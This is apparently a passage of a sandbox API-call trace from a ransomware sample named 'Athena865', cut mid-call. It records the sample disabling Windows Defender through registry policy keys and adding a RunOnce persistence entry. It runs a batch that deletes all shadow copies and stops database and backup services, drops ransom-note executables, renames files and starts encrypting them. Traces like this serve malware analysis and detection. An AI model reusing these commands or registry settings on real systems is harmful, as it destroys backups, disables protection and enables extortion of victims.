GetCurrentProcess () returned 0xffffffff [0033.381] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x44fb30 | out: TokenHandle=0x44fb30*=0x80) returned 1 [0033.381] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x44de50 | out: lpLuid=0x44de50*(LowPart=0x11, HighPart=0)) returned 1 [0033.385] AdjustTokenPrivileges (in: TokenHandle=0x80, DisableAllPrivileges=0, NewState=0x44de58*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0033.385] GetLastError () returned 0x0 [0033.385] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x44de50 | out: lpLuid=0x44de50*(LowPart=0x12, HighPart=0)) returned 1 [0033.386] AdjustTokenPrivileges (in: TokenHandle=0x80, DisableAllPrivileges=0, NewState=0x44de58*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0033.386] GetLastError () returned 0x0 [0033.386] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeManageVolumePrivilege", lpLuid=0x44de50 | out: lpLuid=0x44de50*(LowPart=0x1c, HighPart=0)) returned 1 [0033.386] AdjustTokenPrivileges (in: TokenHandle=0x80, DisableAllPrivileges=0, NewState=0x44de58*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0033.386] GetLastError () returned 0x0 [0033.386] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x44de50 | out: lpLuid=0x44de50*(LowPart=0x9, HighPart=0)) returned 1 [0033.386] AdjustTokenPrivileges (in: TokenHandle=0x80, DisableAllPrivileges=0, NewState=0x44de58*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0033.387] GetLastError () returned 0x0 [0033.387] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\HomeGroup", phkResult=0x44de6c | out: phkResult=0x44de6c*=0xc8) returned 0x0 [0033.388] RegSetValueExW (in: hKey=0xc8, lpValueName="DisableHomeGroup", Reserved=0x0, dwType=0x4, lpData=0x44de68*=0x1, cbData=0x4 | out: lpData=0x44de68*=0x1) returned 0x0 [0033.388] RegCloseKey (hKey=0xc8) returned 0x0 [0033.388] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", phkResult=0x44de6c | out: phkResult=0x44de6c*=0xc8) returned 0x0 [0033.388] RegSetValueExW (in: hKey=0xc8, lpValueName="DisableAntiSpyware", Reserved=0x0, dwType=0x4, lpData=0x44de68*=0x1, cbData=0x4 | out: lpData=0x44de68*=0x1) returned 0x0 [0033.388] RegCloseKey (hKey=0xc8) returned 0x0 [0033.389] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Policy Manager", phkResult=0x44de6c | out: phkResult=0x44de6c*=0xc8) returned 0x0 [0033.389] RegCloseKey (hKey=0xc8) returned 0x0 [0033.389] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", phkResult=0x44de6c | out: phkResult=0x44de6c*=0xc8) returned 0x0 [0033.389] RegSetValueExW (in: hKey=0xc8, lpValueName="DisableRealtimeMonitoring", Reserved=0x0, dwType=0x4, lpData=0x44de68*=0x1, cbData=0x4 | out: lpData=0x44de68*=0x1) returned 0x0 [0033.389] RegSetValueExW (in: hKey=0xc8, lpValueName="DisableBehaviorMonitoring", Reserved=0x0, dwType=0x4, lpData=0x44de68*=0x1, cbData=0x4 | out: lpData=0x44de68*=0x1) returned 0x0 [0033.389] RegSetValueExW (in: hKey=0xc8, lpValueName="DisableOnAccessProtection", Reserved=0x0, dwType=0x4, lpData=0x44de68*=0x1, cbData=0x4 | out: lpData=0x44de68*=0x1) returned 0x0 [0033.390] RegCloseKey (hKey=0xc8) returned 0x0 [0033.390] RegCreateKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", phkResult=0x44de6c | out: phkResult=0x44de6c*=0xcc) returned 0x0 [0033.390] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe") returned 71 [0033.390] RegSetValueExW (in: hKey=0xcc, lpValueName="WindowsUpdateCheck", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe", cbData=0x8e | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe") returned 0x0 [0033.390] RegCloseKey (hKey=0xcc) returned 0x0 [0033.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1c) returned 0x507968 [0033.390] GetLastError () returned 0x0 [0033.390] SetLastError (dwErrCode=0x0) [0033.390] GetLastError () returned 0x0 [0033.390] SetLastError (dwErrCode=0x0) [0033.391] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0033.391] AreFileApisANSI () returned 1 [0033.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x507968, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0033.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x520318 [0033.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x507968, cbMultiByte=-1, lpWideCharStr=0x520318, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0033.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x44ddc8 | out: lpFileInformation=0x44ddc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0033.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520318 | out: hHeap=0x4f0000) returned 1 [0033.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x388) returned 0x509340 [0033.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x144) returned 0x521d00 [0033.399] GetLastError () returned 0x0 [0033.399] SetLastError (dwErrCode=0x0) [0033.399] CreateProcessA (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x44dd84*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x521d00, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x44ddc8 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n", lpProcessInformation=0x44ddc8*(hProcess=0xd0, hThread=0xcc, dwProcessId=0xa7c, dwThreadId=0xa80)) returned 1 [0033.575] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0033.723] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x44dde8 | out: lpExitCode=0x44dde8*=0x0) returned 1 [0033.723] CloseHandle (hObject=0xcc) returned 1 [0033.723] CloseHandle (hObject=0xd0) returned 1 [0033.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x521d00 | out: hHeap=0x4f0000) returned 1 [0033.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509340 | out: hHeap=0x4f0000) returned 1 [0033.723] GetLastError () returned 0x0 [0033.723] SetLastError (dwErrCode=0x0) [0033.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507968 | out: hHeap=0x4f0000) returned 1 [0033.723] FindFirstVolumeW (in: lpszVolumeName=0x44dc5c, cchBufferLength=0x104 | out: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0x521ec8 [0033.723] GetVolumePathNamesForVolumeNameW (in: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\", lpszVolumePathNames=0x44da54, cchBufferLength=0x104, lpcchReturnLength=0x44de6c | out: lpszVolumePathNames=0x44da54, lpcchReturnLength=0x44de6c) returned 1 [0033.724] FindNextVolumeW (in: hFindVolume=0x521ec8, lpszVolumeName=0x44dc5c, cchBufferLength=0x104 | out: hFindVolume=0x521ec8, lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0 [0033.724] FindVolumeClose (hFindVolume=0x521ec8) returned 1 [0033.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13) returned 0x510a30 [0033.724] RtlInitializeSListHead (in: ListHead=0x510a38 | out: ListHead=0x510a38) [0033.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13) returned 0x510a50 [0033.724] RtlInitializeSListHead (in: ListHead=0x510a58 | out: ListHead=0x510a58) [0033.724] GetLogicalDriveStringsW (in: nBufferLength=0x100, lpBuffer=0x44f684 | out: lpBuffer="C:\\") returned 0x4 [0033.724] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0033.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13) returned 0x510a70 [0033.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x516bb8 [0033.724] RtlInterlockedPushEntrySList (in: ListHead=0x510a38, ListEntry=0x510a78 | out: ListHead=0x510a38, ListEntry=0x510a78) returned 0x0 [0033.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12ff60, lpParameter=0x510a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0 [0033.725] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x44de60 | out: lphEnum=0x44de60*=0x509628) returned 0x0 [0034.135] WNetEnumResourceW (in: hEnum=0x509628, lpcCount=0x44de64, lpBuffer=0x521fa0, lpBufferSize=0x44de68 | out: lpcCount=0x44de64, lpBuffer=0x521fa0, lpBufferSize=0x44de68) returned 0x0 [0034.135] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x521fa0, lphEnum=0x44de34 | out: lphEnum=0x44de34*=0x510b50) returned 0x0 [0034.175] WNetEnumResourceW (in: hEnum=0x510b50, lpcCount=0x44de38, lpBuffer=0x525fa8, lpBufferSize=0x44de3c | out: lpcCount=0x44de38, lpBuffer=0x525fa8, lpBufferSize=0x44de3c) returned 0x103 [0034.175] WNetCloseEnum (hEnum=0x510b50) returned 0x0 [0034.175] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x521fc0, lphEnum=0x44de34 | out: lphEnum=0x44de34*=0x510b50) returned 0x4b8 [0047.199] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x521fe0, lphEnum=0x44de34 | out: lphEnum=0x44de34*=0x510b50) returned 0x4c6 [0047.202] WNetEnumResourceW (in: hEnum=0x509628, lpcCount=0x44de64, lpBuffer=0x521fa0, lpBufferSize=0x44de68 | out: lpcCount=0x44de64, lpBuffer=0x521fa0, lpBufferSize=0x44de68) returned 0x103 [0047.203] WNetCloseEnum (hEnum=0x509628) returned 0x0 [0047.203] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9f0 Thread: id = 3 os_tid = 0xa78 Thread: id = 5 os_tid = 0xa94 [0033.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x20a) returned 0x50a400 [0033.873] RtlInterlockedPopEntrySList (in: ListHead=0x510a38 | out: ListHead=0x510a38) returned 0x510a78 [0033.873] lstrcpynW (in: lpString1=0x50a400, lpString2="C:", iMaxLength=260 | out: lpString1="C:") returned="C:" [0033.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516bb8 | out: hHeap=0x4f0000) returned 1 [0033.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510a70 | out: hHeap=0x4f0000) returned 1 [0033.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12f510, lpParameter=0x50a400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4 [0033.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x20a) returned 0x50a618 [0033.874] RtlInterlockedPopEntrySList (in: ListHead=0x510a38 | out: ListHead=0x510a38) returned 0x0 [0033.874] WaitForMultipleObjects (nCount=0x1, lpHandles=0x251f834*=0xd4, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xa98 [0033.964] lstrcatA (in: lpString1="", lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0033.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50a0d0 [0033.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x516bb8 [0033.964] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" | out: lpString1="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe") returned="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" [0033.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508f00 [0033.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x516bc8 [0033.964] lstrcpyW (in: lpString1=0x241e848, lpString2="C:" | out: lpString1="C:") returned="C:" [0033.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516bc8 | out: hHeap=0x4f0000) returned 1 [0033.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508f00 | out: hHeap=0x4f0000) returned 1 [0033.964] lstrlenW (lpString="C:") returned 2 [0033.964] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8D2439B2F3FE7F1BCA800C0A557DDC49") returned 0xec [0033.964] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0033.964] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:" [0033.964] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0033.964] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\how to back your files.exe"), bFailIfExists=1) returned 1 [0033.969] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0033.969] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x50aa40 [0033.969] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="windows") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="bootmgr") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="temp") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="pagefile.sys") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="boot") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ids.txt") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ntuser.dat") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="perflogs") returned -1 [0033.970] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="MSBuild") returned -1 [0033.970] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.970] lstrcpyW (in: lpString1=0x241e84e, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0033.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508f00 [0033.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x509818 [0033.970] lstrcatW (in: lpString1="$Recycle.Bin", lpString2="\\" | out: lpString1="$Recycle.Bin\\") returned="$Recycle.Bin\\" [0033.970] lstrcatW (in: lpString1="$Recycle.Bin\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="$Recycle.Bin\\HOW TO BACK YOUR FILES.exe") returned="$Recycle.Bin\\HOW TO BACK YOUR FILES.exe" [0033.970] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\how to back your files.exe"), bFailIfExists=1) returned 1 [0033.973] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="windows") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="bootmgr") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="temp") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="pagefile.sys") returned -1 [0033.973] lstrcmpiW (lpString1="Boot", lpString2="boot") returned 0 [0033.973] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2="windows") returned -1 [0033.974] lstrcmpiW (lpString1="bootmgr", lpString2="bootmgr") returned 0 [0033.974] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="windows") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="bootmgr") returned 1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="temp") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="pagefile.sys") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot") returned 1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ids.txt") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="perflogs") returned -1 [0033.974] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="MSBuild") returned -1 [0033.974] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.974] lstrcpyW (in: lpString1=0x241e84e, lpString2="BOOTSECT.BAK" | out: lpString1="BOOTSECT.BAK") returned="BOOTSECT.BAK" [0033.974] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0033.975] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.975] lstrlenW (lpString="Athena865") returned 9 [0033.975] lstrcmpiW (lpString1="TSECT.BAK", lpString2="Athena865") returned 1 [0033.975] lstrlenW (lpString=".dll") returned 4 [0033.975] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".dll") returned 1 [0033.975] lstrlenW (lpString=".lnk") returned 4 [0033.975] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".lnk") returned 1 [0033.975] lstrlenW (lpString=".ini") returned 4 [0033.975] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".ini") returned 1 [0033.975] lstrlenW (lpString=".sys") returned 4 [0033.975] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".sys") returned 1 [0033.975] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.975] lstrlenW (lpString="bak") returned 3 [0033.975] lstrcmpiW (lpString1="BAK", lpString2="bak") returned 0 [0033.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\BOOTSECT.BAK.Athena865") returned 25 [0033.975] MoveFileExW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.Athena865" (normalized: "c:\\bootsect.bak.athena865"), dwFlags=0x1) returned 1 [0033.976] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.Athena865" (normalized: "c:\\bootsect.bak.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xf8 [0033.976] GetFileSizeEx (in: hFile=0xf8, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0033.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0033.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x509550 [0033.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0033.976] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518c50) returned 1 [0033.977] CryptGenRandom (in: hProv=0x518c50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0033.977] CryptReleaseContext (hProv=0x518c50, dwFlags=0x0) returned 1 [0033.978] CreateFileMappingW (hFile=0xf8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0xf0 [0033.980] MapViewOfFile (hFileMappingObject=0xf0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0033.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518c50) returned 1 [0034.091] CryptGenRandom (in: hProv=0x518c50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.091] CryptReleaseContext (hProv=0x518c50, dwFlags=0x0) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, 